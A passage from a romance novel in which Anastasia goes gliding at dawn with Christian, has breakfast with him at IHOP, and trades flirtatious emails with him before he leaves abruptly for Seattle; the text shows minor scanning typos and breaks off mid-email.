dawn with you,” he says, kissing my face, my eyelids, the tip of +my nose, my mouth, and I open my eyes. The sidelight is on. “Good morning, beautiful,” +he murmurs. + +I groan, and he smiles. + +“You are not a morning person,” he murmurs. + +Through the haze of light, I squint and see Christian leaning over me, smiling. Amused +Amused at me. Dressed! In black. + +“I thought you wanted sex,” I grumble. + +“Anastasia, I always want sex with you. It’s heartwarming to know that you feel the +same,” he says dryly. + +I gaze at him as my eyes adjust to the light, but he still looks amused... thank heavens +“Of course I do, just not when it’s so late.” + +“It’s not late, it’s early. Come on - up you go. We’re going out. I’ll take a rain check +on the sex.” + +“I was having such a nice dream,” I whine. + +“Dream about what?” he asks patiently. + +“You.” I blush. + +“What was I doing this time?” + +“Trying to feed me strawberries.” + +His lips twitch with a trace of a smile. + +“Dr. Flynn could have a field day with that. Up - get dressed. Don’t bother to shower, +we can do that later.” + +We! + +I sit up, and the sheet pools at my waist, revealing my body. He stands to give me +room, his eyes dark. + +“What time is it?” + +“5:30 in the morning.” + +“Feels like 3:00 a.m.” + +“We don’t have much time. I let you sleep as long as possible. Come.” + +“Can’t I have a shower?” + +He sighs. + +“If you have a shower, I’ll want one with you, and you and I know what will happen +then - the day will just go. Come.” + + +He’s excited. Like a small boy, he’s iridescent with anticipation and excitement. It +makes me smile. + +“What are we doing?’ + +“It’s a surprise. I told you.” + +I can’t help but grin up at him. + +“Okay.” I clamber off the bed and search for my clothes. Of course they are neatly +folded on the chair beside my bed. He’s laid out a pair of his jersey boxer briefs too, Ralph +Lauren, no less. I slip them on, and he grins at me. Hmm, another piece of Christian +Grey’s underwear - a trophy to add to my collection - along with the car, the BlackBerry, +the Mac, his black jacket, and a set of old valuable first editions. I shake my head at his lar- +gesse, and I frown as a scene from Tess crosses my mind: the strawberry scene. It evokes +my dream. To hell with Dr. Flynn - Freud would have a field day - and then he’d probably +expire trying to deal with Fifty Shades. + +“I’ll give you some room now that you’re up.” Christian exits toward the living area, +and I wander into the bathroom. I have needs to attend to, and I want a quick wash. Seven +minutes later, I am in the living area, scrubbed, brushed and dressed in jeans, my camisole, +and Christian Grey’s underwear. Christian glances up from the small dining table where +he’s eating breakfast. Breakfast! Jeez, at this time. + +“Eat,” he says. + +Holy Moses... my dream. I gape at him, thinking about his tongue on his palate. Hmm, +his expert tongue. + +“Anastasia,” he says sternly, pulling me out of my reverie. + +It really is too early for me. How to handle this? + +“I’ll have some tea. Can I take a croissant for later?” + +He eyes me suspiciously, and I smile very sweetly. + +“Don’t rain on my parade, Anastasia,” he warns softly. + +“I will eat later when my stomach’s woken up. About 7:30 a.m.... okay?” + +“Okay.” He peers down at me. + +Honestly. I have to concentrate hard on not making a face at him. + +“I want to roll my eyes at you.” + +“By all means, do, and you will make my day,” he says sternly. + +I gaze up at the ceiling. + +“Well a spanking would wake me up, I suppose.” I purse my lips in quiet contempla- +tion. + +Christian’s mouth drops open. + +“On the other hand, I don’t want you to be all hot and bothered, the climate here is +warm enough.” I shrug nonchalantly. + +Christian closes his mouth and tries very hard to look displeased, but fails hopelessly. + +I can see the humor lurking in the back of his eyes. + +“You are, as ever, challenging, Miss Steele. Drink your tea.” + +I notice the Twinings label, and inside, my heart sings. See, he does care, my subcon- +scious mouths at me. I sit and face him, drinking in his beauty. Will I ever get enough of +this man? + + +As we leave the room, Christian throws a sweatshirt at me. + +“You’ll need this.” + +I look at him, puzzled. + +“Trust me.” He grins, leans over and kisses me quickly on the lips, then grabs my hand +and we head out. + +Outside, in the relative cool of the half-light of pre-dawn, the valet hands Christian a +set of keys to a flash sports car with a soft top. I raise an eyebrow at Christian, who smirks +back at me. + +“You know, sometimes it’s great being me,” he says with a conspiratorial but smug grin +that I simply can’t help emulating. He’s so lovable when he’s playful and carefree. He +opens my car door with an exaggerated bow, and in I climb. He is in such a good mood. + +“Where are we going?” + +“You’ll see.” He grins as he slips the car into drive, and we head out on Savannah +Parkway. He programs the GPS and presses a switch on the steering wheel and a classical +orchestral piece fills the car. + +“What’s this?” I ask as the sweet, sweet sound of a hundred violin strings assails us. + +“It’s from La Traviata. An opera by Verdi.” + +Oh, my... it’s lovely. + +“La Traviata? I’ve headr of that. I can’t think where. What does it mean?” + +Christian glances at me and smirks. + +“Well, literally, the woman led astray. It’s based on Alexander Dumas’s book, La +Dame aux Camelias.” + +“Ah. I’ve read it.” + +“I thought you might.” + +“The doomed courtesan.” I squirm uncomfortably in the plush leather seat. Is he try- +ing to tell me something? “Hmm, it’s a depressing story,” I mutter. + +“Too depressing? Do you want to choose some music? This is on my iPod.” Christian +has that secret smile again. + +I can’t see his iPod anywhere. He taps the screen on the console between us, and be- +hold - there is a play list. + +“You choose.” His lips twitch up into a smile, and I know it’s a challenge. + +Christian Grey’s iPod, this should be interesting. I scroll through the touch screen, +and find the perfect song. I press play. I wouldn’t have figured him for a Britney fan. The +club-mix, techno beat assaults us both, and Christian turns the volume down. Maybe it’s +too early for this: Britney’s at her most sultry. + +“Toxic, eh?” Christian grins. + +“I don’t know what you mean.” I feign innocence. + +He turns the music down a little more, and inside I am hugging myself. My inner +goddess is standing on the podium awaiting her gold medal. He turned the music down. +Victory! + +“I didn’t put that song on my iPod,” he says casually, and puts his foot down so that I +am thrown back into my seat as the car accelerates along the freeway. + +What? He knows what he’s doing, the bastard. Who did? And I have to listen to Brit- +ney going on and on. Who... who? + + +The song ends and the iPod shuffles to Damien Rice being mournful. Who? Who? I +stare out of the window, my stomach churning. Who? + +“It was Leila,” he answers my unspoken thoughts. How does he do that? + +“Leila?” + +“An ex, who put the song on my iPod.” + +Damien warbles away in the background as I sit stunned. An ex... ex-submissive? An +ex- + +“One of the fifteen?” I ask. + +“Yes.” + +“What happened to her?” + +“We finished.” + +“Why?” + +Oh jeez. It’s too early for this kind of conversation. But he looks relaxed, happy even, +and what’s more, talkative. + +“She wanted more.” His voice is low, introspective even, and he leaves the sentence +hanging between us, ending it with that powerful little word again. + +“And you didn’t?” I ask before I can employ my brain to mouth filter. Shit, do I want +to know? + +He shakes his head. + +“I’ve never wanted more, until I met you.” + +I gasp, reeling. Oh my. Isn’t this what I want? He wants more. He wants it, too! My +inner goddess has back flipped off the podium and is doing cartwheels around the stadium. +It’s not just me. + +“What happened to the other fourteen?” I ask. + +Jeez he’s talking - take advantage. + +“You want a list? Divorced, beheaded, died?” + +“You’re not Henry VIII.” + +“Okay. In no particular order, I’ve only had long term relationships with four women, +apart from Elena.” + +“Elena?” + +“Mrs. Robinson to you.” He half smiles his secret private joke smile. + +Elena! Holy Fuck. The evil one has a name and its all-foreign sounding. A vision of a +glorious, pale-skinned vamp with raven hair and ruby-red lips comes to mind, and I know +that she’s beautiful. I must not dwell. I must not dwell. + +“What happened to the four?” I ask to distract myself. + +“So inquisitive, so eager for information, Miss Steele,” he scolds playfully. + +“Oh, Mr. When Is Your Period Due?” + +“Anastasia - a man needs to know these things.” + +“Does he?” + +“I do.” + +“Why?” + +“Because I don’t want you to get pregnant.” + +“Neither do I! Well, not for a few years yet.” + + +Christian blinks startled, then visibly relaxes. Okay. Christian doesn’t want children. + +Now or never? I am reeling from his sudden, unprecedented attack of candor. Perhaps +it’s the early morning? Something in the Georgia water? The Georgia air? What else do +I want to know? Carpe Diem. + +“So the other four, what happened?” I ask. + +“One met someone else. The other three wanted - more. I wasn’t in the market for +more then.” + +“And the others?” I press. + +He glances at me briefly and just shakes his head. + +“Just didn’t work out.” + +Whoa, a bucket-load of information to process. I glance in the side mirror of the car, +and I notice the soft swell of pink and aquamarine in the sky behind. Dawn is following us. + +“Where are we headed?” I ask, perplexed, gazing out at the 1-95. We’re heading south, +that’s all I know. + +“An airfield.” + +“We’re not going back to Seattle are we?” I gasp, alarmed. I haven’t said goodbye to +my mom. Jeez, she’s expecting us for dinner. + +He laughs. + +“No, Anastasia, we’re going to indulge in my second favorite pastime.” + +“Second?” I frown at him. + +“Yep. I told you my favorite this morning.” + +I glance at his glorious profile, frowning, racking my brain. + +“Indulging in you, Miss Steele, that’s got to be top of my list. Any way I can get you.” + +Oh, + +“Well that’s quite high up on my list of diverting, kinky priorities too.” I mutter, blush- +ing. + +“I’m pleased to hear it,” he mutters dryly. + +“So, airfield?” + +He grins at me. + +“Soaring.” + +The term rings a vague bell. He’s mentioned it before. + +“We’re going to chase the dawn, Anastasia.” He turns and grins at me as the GPS urges +him to turn right into what looks like an industrial complex. He pulls up outside a large +white building with a sign reading Brunswick Soaring Association. + +Gliding! We’re going gliding? + +He switches off the engine. + +“You up for this?” he asks. + +“You’re flying?” + +“Yes.” + +“Yes, please!” I don’t hesitate. He grins and leans forward and kisses me. + +“Another first, Miss Steele,” he says as he climbs out of the car. + +First? What sort of first? First time flying a glider... shit! No - he said that he’s done +it before. I relax. He walks round and opens my door. The sky has turned to a subtle opal, +shimmering and glowing softly behind the sporadic childlike clouds. Dawn is upon us. + + +Taking my hand, Christian leads me round the building to a large stretch of tarmac +where several planes are parked. Waiting beside them is a man with a shaved head and a +wild look in his eye, accompanied by Taylor. + +Taylor! Does Christian go any where without that man? I beam at him, and he smiles +kindly back at me. + +“Mr. Grey, this is your tow-pilot, Mr. Mark Benson,” says Taylor. Christian and Ben- +son shake hands and strike up a conversation, which sounds very technical about wind +speed, directions, and the like. + +“Hello, Taylor,” I murmur shyly. + +“Miss Steele.” He nods a greeting at me, and I frown. “Ana,” he corrects himself. + +“He’s been hell on wheels the last few days. Glad we’re here,” he says conspiratorially. + +Oh, this is news - Why? Surely not because of me! Revelation Thursday! Must be +something in the Savannah water that makes these men loosen up a bit. + +“Anastasia,” Christian summons me. “Come.” He holds out his hand. + +“See you later.” I smile at Taylor, and giving me a quick salute, he heads back to the +parking lot. + +“Mr. Benson, this is my girlfriend Anastasia Steele.” + +“Pleased to meet you,” I murmur as we shake hands. + +Benson gives me a dazzling smile. + +“Likewise,” he says, and I can tell from his accent that he’s British. + +As I take Christian’s hand, there’s a mounting excitement in my belly. Wow... glid- +ing! We follow Mark Benson out across the tarmac towards the runway. He and Christian +keep up a running conversation. I catch the gist. We will be in a Blanik L-23, which is +apparently better than the L-13, although this is open to debate. Benson will be flying a +Piper Pawnee. He’s been flying tail draggers for about five years now. It all means nothing +to me, but glancing up at Christian, he is so animated, so in his element, it’s a pleasure to +watch him. + +The plane itself is long, sleek, and white with orange stripes. It has a small cockpit +with two seats one in front of the other. It’s attached by a long white cable to a small, con- +ventional single-propeller plane. Benson opens the large, clear Perspex dome that frames +the cockpit, allowing us to climb in. + +“First we need to strap on your parachute.” + +Parachute! + +“I’ll do that,” Christian interrupts him and takes the harness off Benson, who smiles +amenably at him. + +“I’ll fetch some ballast,” Benson says and heads toward the plane. + +“You like strapping me into things.” I observe dryly. + +“Miss Steele, you have no idea. Here, step into the straps.” + +I do as I’m told, placing my arm on his shoulder. Christian stiffens slightly but doesn’t +move. Once my feet are in the loops, he pulls the parachute up, and I place my arms +through the shoulder straps. Deftly he fastens the harness and tightens all the straps. + +“There, you’ll do,” he says mildly, but his eyes are gleaming. “Do you have your hair +tie from yesterday?” + +I nod. + + +“You want me to put my hair up?” + +“Yes.” + +I quickly do as I’m asked. + +“In you go,” Christian commands. He’s still so bossy. I go to climb into the back. + +“No, front. Pilot sits at the back.” + +“But won’t you be able to see.” + +“I’ll see plenty.” He grins. + +I don’t think I have ever seen him so happy, bossy, but happy. I clamber in, settling +down into the leather seat. It is surprisingly comfortable. Christian leans over, pulls the +harness over my shoulders, reaches between my legs for the lower belt, and slots it into the +fastener that rests against my belly. He tightens all the restraining straps. + +“Hmm, twice in one morning, I am a lucky man,” he whispers and kisses me quickly. +“This won’t take long - twenty, thirty minutes at most. Thermals aren’t great this time of +the morning, but it’s so breathtaking up there at this hour. I hope you’re not nervous.” + +“Excited.” I beam. + +Where did this ridiculous grin come from? Actually, part of me is terrified. My inner +goddess - she’s under a blanket behind the sofa. + +“Good.” He grins back, stroking my face, then disappears from view. + +I hear and feel his movements as he climbs in behind me. Of course he’s strapped me +in so tightly I can’t move round to see him... typical! We are very low on the ground. In +front of me is a panel of dials and levers and a big stick thing. I leave well alone. + +Mark Benson appears with a cheerful grin as he checks my straps and leans in and +checks the cockpit floor. I think it’s the ballast. + +“Yep, that’s secure. First time?” he asks me. + +“Yes.” + +“You’ll love it.” + +“Thanks, Mr. Benson.” + +“Call me Mark.” He turns to Christian. “Okay?” + +“Yep. Let’s go.” + +I am so glad I haven’t eaten anything. I am beyond excited, and I don’t think my stom- +ach would be game for food, excitement, and leaving the ground. Once again, I am putting +myself into this beautiful man’s skilled hands. Mark shuts the cockpit lid, strolls over to +the plane in front, and climbs in. + +The Piper’s single propeller starts, and my nervous stomach relocates itself to my +throat. Jeez... I’m really doing this. Mark taxis slowly down the runway, and as the cable +takes the strain, we suddenly jolt forward. We’re off. I hear chatter over the radio set +behind me. I think it’s Mark talking to the tower - but I can’t make out what he’s saying. + +As the Piper picks up speed, so do we. It’s very bumpy, and in front of us, the single prop +plane is still on the ground. Jeez, will we ever get up? And suddenly, my stomach disap- +pears from my throat and free-falls through my body to the ground - we’re airborne. + +“Here we go, baby!” Christian shouts from behind me. And we are in our own bubble, +just us two. All I hear is the sound of the wind ripping past and the distant hum of the +Piper’s engine. + + +I’m gripping the edge of my seat with both hands, so tightly my knuckles are white. + +We head west, inland away from the rising sun, gaining height, crossing over fields and +woods and homes and 1-95. Oh my. This is amazing, above us only sky. The light is +extraordinary, diffuse and warm in hue, and I remember Jose rambling on about ‘magic +hour’, a time of day that photographers adore - this is it. . . just after dawn, and I’m in it, +with Christian. + +Abruptly, I’m reminded of Jose’s show. Hmm. I need to tell Christian. I wonder +briefly how he’ll react. But I won’t worry about that, not now - I’m enjoying the ride. My +ears pop as we gain height, and the ground slips further and further away. It is so peaceful. + +I completely get why he likes to be up here. Away from his BlackBerry and all the pres- +sures of his job. + +The radio crackles into life, and Mark mentions 3,000 feet. Jeez, that sounds high,. I +check the ground, and I can no longer clearly distinguish anything down there. + +“Release,” Christian says into the radio, and suddenly the Piper disappears, and the +pulling sensation provided by the small plane ceases. We’re floating, floating over Georgia. + +Holy fuck - it’s exciting. The plane banks and turns as the wing dips, and we spiral +toward the sun. Icarus. This is it. I am flying close to the sun, but he’s with me, leading +me. I gasp at the realization. We spiral and spiral and, the view in this morning light is +spectacular. + +“Hold on tight!” he shouts, and we dip again - only this time he doesn’t stop, suddenly, +I am upside down, looking at the ground through the top of the cockpit canopy. + +I squeal loudly, my arms automatically lashing out, my hands splayed on the Perspex +to stop me falling. I can hear him laughing. Bastard! But his joy is infectious, and I am +laughing too as he rights the plane. + +“I’m glad I didn’t have breakfast!” I shout at him. + +“Yes, in hindsight, it’s good you didn’t, because I’m going to do that again.” + +He dips the plane once more until we are upside down. This time, because I’m pre- +pared, I hang on to the harness, but it makes me grin and giggle like a fool. He levels the +plane once more. + +“Beautiful, isn’t it?” he calls. + +“Yes.” + +We fly, swooping majestically through the air, listening to the wind and the silence, in +the early morning light. Who could ask for more? + +“See the joy-stick in front of you?” he shouts again. + +I look at the stick that is moving slightly between my legs. Oh no, where’s he going +with this? + +“Grab hold.” + +Oh shit. He’s going to make me fly the plane. No! + +“Go on, Anastasia. Grab it,” he urges more vehemently. + +Tentatively, I grasp it and feel the pitch and yaw of what I assume are rudders and +paddles or whatever keeps this thing in the air. + +“Hold tight... keep it steady. See the middle dial in front? Keep the needle dead cen- +ter.” + +My heart is in my mouth. Holy shit. I am flying a glider... I’m soaring. + + +“Good girl.” Christian sounds delighted. + +“I am amazed you let me take control,” I shout. + +“You’d be amazed what I’d let you do, Miss Steele. Back to me now.” + +I feel the joystick move suddenly, and I let go as we spiral down several feet, my ears +starting to pop again. The ground is getting closer, and it feels like we could be hitting it +shortly. Jeez, that’s scary. + +“BMA, this is BG N Papa 3 Alpha, entering left downwind runway seven to the grass, +BMA.” Christian sounds his usual authoritative self. The tower squawks back at him over +the radio, but I don’t understand what they say. We sail round again in a wide circle, sink- +ing slowly to the ground. I can see the airport, the landing strips, and we’re flying back +over 1-95. + +“Hang on, baby. This can get bumpy.” + +After another circle we dip, and suddenly we are on the ground with a brief thump, +racing along the grass - holy shit. My teeth chatter as we bump at an alarming speed along +the ground, until we finally come to a stop. The plane sways slightly then dips to the right. + +I take a deep lungful of air while Christian leans over and opens the cockpit lid, clambering +out and stretching. + +“How was that?” he asks, and his eyes are a shining, dazzling silver gray. He leans +down to unbuckle me. + +“That was extraordinary. Thank you,” I whisper. + +“Was it more?” he asks, his voice tinged with hope. + +“Much more,” I breathe, and he grins. + +“Come.” He holds out his hand for me, and I clamber out of the cockpit. + +As soon as I’m out, he grabs me and holds me flush against his body. Suddenly his +hand is in my hair, tugging it so my head tips back, and his other hand travels down to the +base of my spine. He kisses me, long, hard, and passionately, his tongue in my mouth. + +His breathing is mounting, his ardor. . . Holy cow - his erection. . . we’re in a field. But I +don’t care. My hands twist in his hair, anchoring him to me. I want him, here, now, on +the ground. He breaks away and gazes down at me, his eyes now dark and luminous in +the early morning light, full of raw, arrogant sensuality. Wow. He takes my breath away. + +“Breakfast,” he whispers, making it sound deliciously erotic. + +How can he make bacon and eggs sound like forbidden fruit? It’s an extraordinary +skill. He turns, clasping my hand, and we head back toward the car. + +“What about the glider?” + +“Someone will take care of that?”, he says dismissively. “We’ll eat now.” His tone is +unequivocal. + +Food! He’s talking food, when really all I want is him. + +“Come.” He smiles. + +I have never seen him like this, and it’s a joy to behold. I find myself walking beside +him, hand in hand, with a stupid, goofy grin plastered on my face. It reminds me of when I +was ten and spending the day in Disneyland with Ray. It was a perfect day, and this is sure +shaping out to be the same. + + +Back in the car, as we head back along 1-95 towards Savannah, my phone alarm goes +off. Oh yes... my pill. + +“What’s that?” Christian asks, curious, glancing at me. + +I fumble in my purse for the packet. + +“Alarm for my pill,” I mutter as my cheeks flush. + +His lips quirk up. + +“Good, well done. I hate condoms.” + +I flush some more. He’s as patronizing as ever. + +“I like that you introduced me to Mark as your girlfriend,” I murmur. + +“Isn’t that what you are?” He raises an eyebrow. + +“Am I? I thought you wanted a submissive.” + +“So did I, Anastasia, and I do. But I’ve told you, I want more, too.” + +Oh my. He’s coming round, and hope surges through me, leaving me breathless. + +“I’m very happy that you want more,” I whisper. + +“We aim to please, Miss Steele.” He smirks as we pull into the International House of +Pancakes. + +“IHOP.” I grin back at him. I don’t believe it. Who would have thought... Christian +Grey at IHOP. + + +It’s 8:30 a.m. but quiet in the restaurant. It smells of sweet batter, fried food, and disinfec- +tant. Hmm... not such an enticing aroma. Christian leads me to a booth. + +“I would never have pictured you here,” I say as we slide into a booth. + +“My dad used to bring us to one of these whenever my mom went away at a medical +conference. It was our secret.” He smiles at me, gray eyes dancing, then picks up a menu, +running a hand through his wayward hair as he stares down at it. + +Oh, I want to run my hands through that hair. I pick up a menu and examine it. I real- +ize I’m starving. + +“I know what I want,” he breathes, his voice low and husky. + +I glance up at him, and he’s staring at me in that way that tightens all the muscles in my +belly and takes my breath away, his eyes dark and smoldering. Holy shit. I gaze at him, +my blood singing in my veins answering his call. + +“I want what you want,” I whisper. + +He inhales sharply. + +“Here?” he asks suggestively, raising an eyebrow at me, smiling wickedly, his teeth +trapping the tip of his tongue. + +Oh my... sex in IHOP. His expression changes, growing darker. + +“Don’t bite your lip,” he orders. “Not here, not now.” His eyes harden momentarily, +and for a moment, he looks so deliciously dangerous. “If I can’t have you here, don’t tempt +me.” + +“Hi, My name’s Leandra, What can I get for you. . . er. . . folks. . . er. . . today, this +mornin... ?” Her voice trails off, stumbling over her words as she gets an eye full of Mr. +Beautiful opposite me. She flushes scarlet, and a small ounce of sympathy for her bubbles + + +unwelcome into my consciousness because he still does that to me. Her presence allows +me to escape briefly from his sensual glare. + +“Anastasia?” he prompts me, ignoring her, and I don’t think anyone could squeeze as +much carnality into my name as he does at that moment. + +I swallow, praying that I don’t go the same color as poor Leandra. + +“I told you, I want what you want.” I keep my voice soft, low, and he looks at me hun- +grily. Jeez, my inner goddess swoons. Am I up to this game? + +Leandra looks from me to him and back again. She’s practically the same color as her +shiny red hair. + +“Shall I give you folks another minute to decide?” + +“No. We know what we want.” Christian’s mouth twitches with a small, sexy smile. +“We’ll have two portions of the original buttermilk pancakes with maple syrup and +bacon on the side, two glasses of orange juice, one black coffee with skim milk, and one +English breakfast tea, if you have it,” says Christian, not taking his eyes off me. + +“Thank you sir. Will that be all?” Leandra whispers, looking anywhere but at the two +of us. We both turn to stare at her, and she flushes crimson again and scuttles away. + +“You know it’s really not fair.” I glance down at the Formica tabletop, tracing a pattern +in it with my index finger, trying to sound nonchalant. + +“What’s not fair?” + +“How you disarm people. Women. Me.” + +“Do I disarm you?” + +I snort. + +“All the time.” + +“It’s just looks, Anastasia,” he says mildly. + +“No, Christian, it’s much more than that.” + +His brow creases. + +“You disarm me totally, Miss Steele. Your innocence. It cuts through all the crap.” + +“Is that why you’ve changed your mind?” + +“Changed my mind?” + +“Yes - about . . . err. . . us?” + +He strokes his chin thoughtfully with his long, skilled fingers. + +“I don’t think I’ve changed my mind per se. We just need to re-define our parameters, +re-draw our battle lines, if you will. We can make this work, I’m sure. I want you submis- +sive in my playroom. I will punish you if you digress from the rules. Other than that. . . +well, I think it’s all up for discussion. Those are my requirements, Miss Steele. What say +you to that?” + +“So I get to sleep with you? In your bed?” + +“Is that what you want?” + +“Yes.” + +“I agree then. Besides, I sleep very well when you’re in my bed. I had no idea.” His +brow creases as his voice fades. + +“I was frightened you’d leave me if I didn’t agree to all of it,” I whisper. + + +“I’m not going anywhere, Anastasia. Besides... ” He trails off, and after some thought, +he adds. “We’re following your advice, your definition: compromise. You emailed it to +me. And so far, it’s working for me.” + +“I love that you want more,” I murmur shyly. + +“I know.” + +“How do you know?” + +“Trust me. I just do.” He smirks at me. He’s hiding something. What? + +At that moment, Leandra arrives with breakfast and our conversation ceases. My +stomach rumbles, reminding me how ravenous I am. Christian watches with annoying ap- +proval as I devour everything on my plate. + +“Can I treat you?” I ask Christian. + +“Treat me how?” + +“Pay for this meal.” + +Christian snorts. + +“I don’t think so.” he scoffs. + +“Please. I want to.” + +He frowns at me. + +“Are you trying to completely emasculate me?” + +“This is probably the only place that I’ll be able to afford to pay.” + +“Anastasia, I appreciate the thought. I do. But no.” + +I purse my lips. + +“Don’t scowl,” he threatens, his eyes glinting ominously. + + +Of course he doesn’t ask me for my mother’s address. He knows it already, stalker that he +is. When he pulls up outside the house, I don’t comment. What’s the point? + +“Do you want to come in?” I ask shyly. + +“I need to work, Anastasia, but I’ll be back this evening. What time?” + +I ignore the unwelcome stab of disappointment. Why do I want to spend every single +minute with this controlling sex god? Oh yes, I’ve fallen in love with him, and he can fly. + +“Thank you... for the more.” + +“My pleasure, Anastasia.” He kisses me, and I inhale his sexy Christian smell. + +“I’ll see you later.” + +“Try and stop me,” he whispers. + +I wave goodbye as he drives off into the Georgia sunshine. I’m still wearing his sweat- +shirt and his underwear, and I’m too warm. + +In the kitchen, my mom is in a complete flap. It’s not every day she has to entertain a +multi-zillionaire, and it’s stressing her out. + +“How are you, darling?” she asks, and I flush because she must know what I was doing +last night. + +“I’m good. Christian took me gliding this morning.” I hope the new information will +distract her. + +“Gliding? As in a small plane with no engine? That sort of gliding?” + + +I nod. + +“Wow.” + +She’s speechless - a novel concept for my mother. She gapes at me, but eventually +recovers herself and resumes her original line of questioning. + +“How was last night? Did you talk?” + +Jeez. I flush bright scarlet. + +“We talked - last night and today. It’s getting better.” + +“Good.” She turns her attention back to the four cookery books she has open on the +kitchen table. + +“Mom... if you like, I’ll cook this evening.” + +“Oh, honey, that’s kind of you, but I want to do it.” + +“Okay.” I grimace, knowing full well that my mother’s cooking is pretty hit or miss. +Perhaps she’s improved since she moved to Savannah with Bob. There was a time I +wouldn’t subject anyone to her cooking. . . even - who do I hate? Oh yes - Mrs. Robinson +- Elena. Well, maybe her. Will I ever meet this damned woman? + +I decide to send a quick thank-you to Christian. + + +From: Anastasia Steele +Subject: Soaring as opposed to sore-ing +Date: June 2 2011 10:20 EST +To: Christian Grey + +Sometimes, you really know how to show a girl a good time. +Thank you +Ana x + + +From: Christian Grey +Subject: Soaring vs sore-ing +Date: June 2 2011 10:24 EST +To: Anastasia Steele + +I’ll take either of those over your snoring. I had a good time too. +But I always do when I’m with you. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +From: Anastasia Steele +Subject: SNORING +Date: June 2 2011 10:26 EST +To: Christian Grey + +I DO NOT SNORE. And if I do, it’s very ungallant of you to point it out. +You are no gentleman Mr. Grey! And you are in the Deep South too! +Ana + + +From: Christian Grey +Subject: Somniloquy +Date: June 2 2011 10:28 EST +To: Anastasia Steele + +I have never claimed to be a gentleman, Anastasia, and I think I have demonstrated that +point to you on numerous occasions. I am not intimidated by your SHOUTY capitals. But +I will confess to a small white lie: No - you don’t snore, but you do talk. And it’s +fascinating. + +What happened to my kiss? + + +Christian Grey + +Cad & CEO, Grey Enterprises Holdings Inc. + + +Holy shit. I know I talk in my sleep. Kate has told me enough times. What the hell have +I said? Oh no. + + +From: Anastasia Steele +Subject: Spill the Beans +Date: June 2 2011 10:32 EST +To: Christian Grey + +You are a cad and a scoundrel - definitely no gentleman. +So, what did I say? No kisses for you until you talk! + + +From: Christian Grey +Subject: Sleeping talking Beauty +Date: June 2 2011 10:35 EST +To: Anastasia Steele + +It would be most ungallant of me to say, and I have already been chastised for that. +But if you behave yourself, I may tell you this evening. I do have to go into a meeting +now. + +Laters, baby. + + +Christian Grey + +CEO, Cad & Scoundrel, Grey Enterprises Holdings Inc. + + +Right! I shall maintain radio silence until this evening. I fume. Jeez. Supposing I’ve said +I hate him, or worse still, that I love him, in my sleep. Oh, I hope not. I am not ready to + + +tell him that, and I’m sure he’s not ready to hear it, if he ever wants to hear it. I scowl at +my computer and decide that whatever I cook, I will make bread. + + +My mom has decided on gazpacho soup and a barbecue with steaks marinated in olive +oil, garlic, and lemon. Christian likes meat, and it’s simple to do. Bob has volunteered +to man the BBQ grill. What is it about men and fire, I ponder as I trail after my mother +through the supermarket with the shopping cart? + +As we browse the raw meat cabinet, my phone rings. I scramble for it, thinking it may +be Christian. I don’t recognize the number. + +“Hello?” I answer breathlessly. + +“Anastasia Steele?” + +“Yes.” + +“It’s Elizabeth Morgan from SIP.” + +“Oh -hi.” + +“I’m calling to offer you the job of assistant to Mr. Jack Hyde. We’d like you to start +on Monday.” + +“Wow. That’s great. Thank you!” + +“You know the salary details?” + +“Yes. Yes... that’s - I mean, I accept your offer. I’d love to come and work for you.” + +“Excellent. We’ll see you Monday at 8:30 a.m.?” + +“See you then. Goodbye. And thank you.” + +I beam at my mom. + +“You have a job?” + +I nod gleefully, and she squeals and hugs me in the middle of Publix supermarket. + +“Congratulations, darling! We have to buy some champagne!” She’s clapping her +hands and jumping up and down. Is she forty-two or twelve? + +I glance down at my phone and frown, there’s a missed call from Christian. He never +phones me. I call him straight back. + +“Anastasia,” he answers immediately. + +“Hi,” I murmur shyly. + +“I have to return to Seattle. Something’s come up. I am on my way to Hilton Head +now. Please apologize to your mother - I can’t make dinner.” He sounds very businesslike. + +“Nothing serious, I hope?” + +“I have a situation which I have to deal with. I’ll see you Friday. I’ll send Taylor to +collect you from the airport if I can’t come myself.” He sounds cold. Angry even. But for +the first time, I don’t immediately think it’s me. + +“Okay. I hope you sort out your situation. Have a safe flight.” + +“You too, baby,” he breathes, and with those words, my Christian is back briefly. Then +he hangs up. + +Oh no. The last ‘situation’ he had was my virginity. Jeez, I hope it’s nothing like that. + +I gaze at my mom. Her earlier jubilation has metamorphosed into concern. + +“It’s Christian, he’s had to go back to Seattle. He apologizes.” + + +“Oh! That’s a shame, darling. We can still have our barbecue, and now we have some- +thing to celebrate - your new job! You have to tell me all about it.” + + +It’s late afternoon, and Mom and I are lying beside the pool. My mother has relaxed to the +point where she is literally horizontal now that Mr. Megabucks is not coming to dinner. As +I lie in the sun, endeavoring to lose the pale, I think about yesterday evening and breakfast +today. I think about Christian, and my ridiculous grin refuses to subside. It keeps creeping +across my face, unbidden and disconcerting, as I recall our various conversations and what +we did... what he did. + +There seems to be tidal shift in Christian’s attitude. He denies it but - he admits he’s +trying for more. What could have changed? What has altered since he sent his long email +and when I saw him yesterday? What has he done? I sit up suddenly, almost spilling my +Dr. Pepper. He had dinner with... her. Elena. + +Holy Fuck! + +My scalp prickles at the realization. Did she say something to him? Oh... to have been +a fly on the wall during their dinner. I could have landed in her soup or on her wine glass +and choked her. + +“What is it, Ana, honey?” Mom asks, startled from her torpor. + +“I’m just having a moment, Mom. What time is it?” + +“About 6:30 p.m., darling.” + +Hmm... he won’t have landed yet. Can I ask him? Should I ask him? Or perhaps she +has nothing to do with it. I fervently hope so. What did I say in my sleep? Crap... some +unguarded remark while dreaming about him, I bet? Whatever it is, or was, I hope the sea +of change is coming from within him and not because of her. + +I am sweltering in this damned heat. I need another dip in the pool. + + +As I get ready for bed, I switch on my computer. I have heard nothing from Christian. +Not even a word that he’s arrived safely. + + +From: Anastasia Steele +Subject: Safe Arrival? + +Date: June 2 2011 22:32 EST +To: Christian Grey + +Dear Sir + +Please let me know that you have arrived safely. I am starting to worry. Thinking of you. +Your Ana. x + + +Three minutes later, I hear the ping from my email in-box. + + +From: Christian Grey + + +Subject: Sorry + +Date: June 2 201 1 19:36 + +To: Anastasia Steele + +Dear Miss Steele + +I have arrived safely, and please accept my apologies for not letting you know. I don’t +want to cause you any worry, it’s heart warming to know that you care for me. I am think- +ing of you too and as ever looking forward to seeing you tomorrow. + + +Christian Grey + +CEO, Grey Enterprises Holdings Inc. + + +I sigh, Christian is back to formality. + + +From: Anastasia Steele +Subject: The Situation +Date: June 2 2011 22:40 EST +To: Christian Grey + +Dear Mr. Grey + +I think it is very evident that I care for you deeply. How could you doubt that? +I hope your ‘situation’ 